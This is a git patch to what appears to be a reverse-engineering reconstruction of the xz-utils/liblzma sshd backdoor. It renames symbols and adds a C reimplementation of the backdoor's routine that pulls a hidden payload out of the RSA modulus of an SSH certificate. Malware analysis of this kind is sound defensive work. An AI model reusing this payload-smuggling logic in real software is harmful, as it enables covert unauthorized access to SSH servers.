From 91f1e70793a719f16528f808842fc16fdab616d0 Mon Sep 17 00:00:00 2001 From: Stefano Moioli Date: Sun, 4 Aug 2024 19:24:44 +0200 Subject: [PATCH] xzre_code: add extract_payload_message --- gdb/common.gdb | 2 +- xzre.h | 46 ++++++++++------ xzre.lds.in | 4 +- xzre_code/CMakeLists.txt | 1 + xzre_code/decrypt_payload_message.c | 6 +-- xzre_code/extract_payload_message.c | 82 +++++++++++++++++++++++++++++ 6 files changed, 119 insertions(+), 22 deletions(-) create mode 100644 xzre_code/extract_payload_message.c diff --git a/gdb/common.gdb b/gdb/common.gdb index a7457bf..8b544b4 100644 --- a/gdb/common.gdb +++ b/gdb/common.gdb @@ -25,7 +25,7 @@ define handle_liblzma find_bytes verify_signature, $lzma_start, $lzma_end, 415741564155415455534881ECC80000004C8944 find_bytes sshd_proxy_elevate, $lzma_start, $lzma_end, F30F1EFA550F57C0B93602000031C048 find_bytes hook_RSA_get0_key, $lzma_start, $lzma_end, F30F1EFA41564154554889F54883EC20 - find_bytes is_payload_message, $lzma_start, $lzma_end, F30F1EFA4885FF0F843F0100004883FE + find_bytes extract_payload_message, $lzma_start, $lzma_end, F30F1EFA4885FF0F843F0100004883FE hbreak *$hook_RSA_public_decrypt commands diff --git a/xzre.h b/xzre.h index 13a0d8c..e530840 100644 --- a/xzre.h +++ b/xzre.h @@ -558,7 +558,7 @@ typedef enum { } EncodedStringId; typedef enum { - PAYLOAD_STATE_INVALID = -1 + PAYLOAD_STATE_INITIAL = -1 } PayloadState; #ifndef XZRE_SLIM @@ -571,7 +571,19 @@ typedef enum { #define EXPAND(x, y) CONCAT(x, y) #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size] -struct sshbuf; +struct sshbuf { + u8 *d; /* Data */ + const u8 *cd; /* Const data */ + size_t off; /* First available byte is buf->d + buf->off */ + size_t size; /* Last byte is buf->d + buf->size - 1 */ + size_t max_size; /* Maximum size of buffer */ + size_t alloc; /* Total bytes allocated to buf->d */ + int readonly; /* Refers to external, const data */ + u32 refcount; /* Tracks self and number of child buffers */ + struct sshbuf *parent; /* If child, pointer to parent */ +}; +static_assert(sizeof(struct sshbuf) == 64); + struct kex; /* permit_root_login */ @@ -1139,7 +1151,7 @@ typedef struct __attribute__((packed)) sshd_ctx { sshd_monitor_func_t *mm_answer_authpassword_ptr; int monitor_reqtype_authpassword; PADDING(4); - void *mm_answer_keyallowed_start; + sshd_monitor_func_t *mm_answer_keyallowed_start; void *mm_answer_keyallowed_end; void *mm_answer_keyallowed_ptr; u32 mm_answer_keyallowed_reqtype; @@ -3755,29 +3767,31 @@ extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx); /** - * @brief locates an sshbuf within `struct kex` (FIXME: which?) + * @brief checks if the provided @p buf is sane, then decomposes it into @p p_sshbuf_d and @p p_sshbuf_size * - * @param kex pointer to `struct kex` to search in + * @param buf pointer to `struct sshbuf` to decompose * @param ctx the global context - * @param pOutputData output variable that will receive the address of the sshbuf data - * @param pOutputSize output variable that will receive the size of the sshbuf data - * @return BOOL TRUE if the sshbuf was found, FALSE otherwise + * @param p_sshbuf_d output variable that will receive the address of the sshbuf data + * @param p_sshbuf_size output variable that will receive the size of the sshbuf data + * @return BOOL TRUE if the sshbuf was decomposed successfully, FALSE otherwise */ -extern BOOL sshd_kex_sshbuf_get(void *kex, global_context_t *ctx, void **pOutputData, size_t *pOutputSize); +extern BOOL sshbuf_extract(struct sshbuf *buf, global_context_t *ctx, void **p_sshbuf_d, size_t *p_sshbuf_size); /** - * @brief checks if the given sshbuf buffer contains a backdoor payload message + * @brief locates the RSA modulus from the given sshbuf. + * if found, the given @p sshbuf_data will be updated to point to the modulus data. + * additionally, the length of the modulus will be written to @p out_payload_size * - * @param sshbuf_data sshbuf data pointer + * @param sshbuf_data sshbuf containing the payload message * @param sshbuf_size size of sshbuf data - * @param pOutPayloadSize output variable that will be populated with the size of the backdoor payload, if found + * @param out_payload_size output variable that will be populated with the size of the backdoor payload, if found * @param ctx the global context - * @return BOOL TRUE if the given sshbuf contains a backdoor payload message, FALSE otherwise + * @return BOOL TRUE if the payload was successfully located, FALSE otherwise */ -extern BOOL is_payload_message( - u8 *sshbuf_data, +extern BOOL extract_payload_message( + struct sshbuf *sshbuf_data, size_t sshbuf_size, - size_t *pOutPayloadSize, + size_t *out_payload_size, global_context_t *ctx); /** diff --git a/xzre.lds.in b/xzre.lds.in index 1f5a807..e6c321f 100644 --- a/xzre.lds.in +++ b/xzre.lds.in @@ -122,14 +122,14 @@ SECTIONS_BEGIN() /* 0000000000007500 */ DEFSYM(rsa_key_hash, .text.lzma_filters_copa) /* 0000000000007620 */ DEFSYM(verify_signature, .text.lzma_index_dua) /* 0000000000007910 */ DEFSYM(sshbuf_bignum_is_negative, .text.length_encoder_resez) - /* 0000000000007940 */ DEFSYM(sshd_kex_sshbuf_get, .text.stream_decoder_mt_get_progresz) + /* 0000000000007940 */ DEFSYM(sshbuf_extract, .text.stream_decoder_mt_get_progresz) /* 0000000000007A10 */ DEFSYM(sshd_get_sshbuf, .text.threads_stoz) /* 0000000000007BB0 */ DEFSYM(sshd_get_usable_socket, .text.index_decoda) /* 0000000000007C50 */ DEFSYM(sshd_get_client_socket, .text.index_encoda) /* 0000000000007D40 */ DEFSYM(sshd_patch_variables, .text.lzma_block_unpadded_siza) /* 0000000000007DD0 */ DEFSYM(sshd_configure_log_hook, .text.lzma_rc_pricea) /* 0000000000007E90 */ DEFSYM(check_backdoor_state, .text.stream_encoder_mt_iniz) - /* 0000000000007F10 */ DEFSYM(is_payload_message, .text.worker_stara) + /* 0000000000007F10 */ DEFSYM(extract_payload_message, .text.worker_stara) /* 0000000000008070 */ DEFSYM(mm_answer_keyverify_hook, .text.bt_skip_funz) /* 00000000000080F0 */ DEFSYM(mm_answer_authpassword_hook, .text.lzma_coda) /* 00000000000081C0 */ DEFSYM(secret_data_get_decrypted, .text.parse_lzma10) diff --git a/xzre_code/CMakeLists.txt b/xzre_code/CMakeLists.txt index aeb8070..417f842 100644 --- a/xzre_code/CMakeLists.txt +++ b/xzre_code/CMakeLists.txt @@ -10,6 +10,7 @@ add_library(xzre_code decrypt_payload_message.c elf_parse.c elf_symbol_get_addr.c + extract_payload_message.c get_lzma_allocator.c find_call_instruction.c find_lea_instruction.c diff --git a/xzre_code/decrypt_payload_message.c b/xzre_code/decrypt_payload_message.c index ed9f031..772bc14 100644 --- a/xzre_code/decrypt_payload_message.c +++ b/xzre_code/decrypt_payload_message.c @@ -15,7 +15,7 @@ BOOL decrypt_payload_message( if(!payload){ if(!ctx) return FALSE; - goto set_state_invalid; + goto set_state_reset; } const size_t header_size = sizeof(payload->hdr) + sizeof(payload->body_length); @@ -64,8 +64,8 @@ BOOL decrypt_payload_message( return TRUE; } while(0); - set_state_invalid: - ctx->payload_state = PAYLOAD_STATE_INVALID; + set_state_reset: + ctx->payload_state = PAYLOAD_STATE_INITIAL; return FALSE; } diff --git a/xzre_code/extract_payload_message.c b/xzre_code/extract_payload_message.c new file mode 100644 index 0000000..3049911 --- /dev/null +++ b/xzre_code/extract_payload_message.c @@ -0,0 +1,82 @@ +/** + * Copyright (C) 2024 Stefano Moioli + **/ +#include "xzre.h" +#include + +BOOL extract_payload_message( + struct sshbuf *sshbuf, + size_t sshbuf_size, + size_t *out_payload_size, + global_context_t *ctx +){ + if(!sshbuf || sshbuf_size <= 6) return FALSE; + if(!out_payload_size || !ctx) return FALSE; + if(!ctx->STR_ssh_rsa_cert_v01_openssh_com) return FALSE; + if(!ctx->STR_rsa_sha2_256) return FALSE; + + // overflow check + if(sshbuf_size > PTRADD(sshbuf->d, sshbuf_size)) return FALSE; + + size_t i = 0; + char *cert_type = NULL; + for(i=0; (sshbuf_size - i) >= 7; ++i){ + // check for "ssh-rsa" + if(!strncmp(ctx->STR_ssh_rsa_cert_v01_openssh_com, (const char *)&sshbuf->d[i], 7) + // check for "rsa-sha2" + || !strncmp(ctx->STR_rsa_sha2_256, (const char *)&sshbuf->d[i], 7)){ + cert_type = (char *)&sshbuf->d[i]; + break; + } + } + if (i <= 7 || !cert_type){ + return FALSE; + } + + u8 *p = sshbuf->d; + // go backwards over the length of the string and the length of the certificate, then extract it + // (this is the encoding used by ssh for network messages and can be seen in PHPseclib's `Strings::packSSH2`) + u32 length = __builtin_bswap32(*(u32 *)(p - 8)); + if(length > 0x10000) return FALSE; + + u8 *data_end = (u8 *)(cert_type + length - 8); + u8 *sshbuf_end = sshbuf->d + sshbuf_size; + // encoded data can't overflow the sshbuf size + if(data_end >= sshbuf_end) return FALSE; + + size_t remaining = sshbuf_size - i; + size_t cert_type_namelen = c_strnlen(cert_type, remaining); + if(cert_type_namelen >= remaining) return FALSE; + + // go past the cert type string -> RSA exponent + p = (u8 *)(cert_type + cert_type_namelen); + length = __builtin_bswap32(*(u32 *)p); + if(length > 0x10000) return FALSE; + + // skip data (RSA exponent) + p += length + sizeof(u32); + if(p >= data_end) return FALSE; + + // length of RSA modulus + length = __builtin_bswap32(*(u32 *)p); + if(length > 0x10000) return FALSE; + + u8 *modulus_data = p; + size_t modulus_length = length; + + // skip data (RSA modulus) + p += length + sizeof(u32); + if(p >= data_end) return FALSE; + + // ?? + if(*modulus_data == 0){ + ++modulus_data; + --modulus_length; + } + + sshbuf->d = modulus_data; + *out_payload_size = modulus_length; + return TRUE; + + +}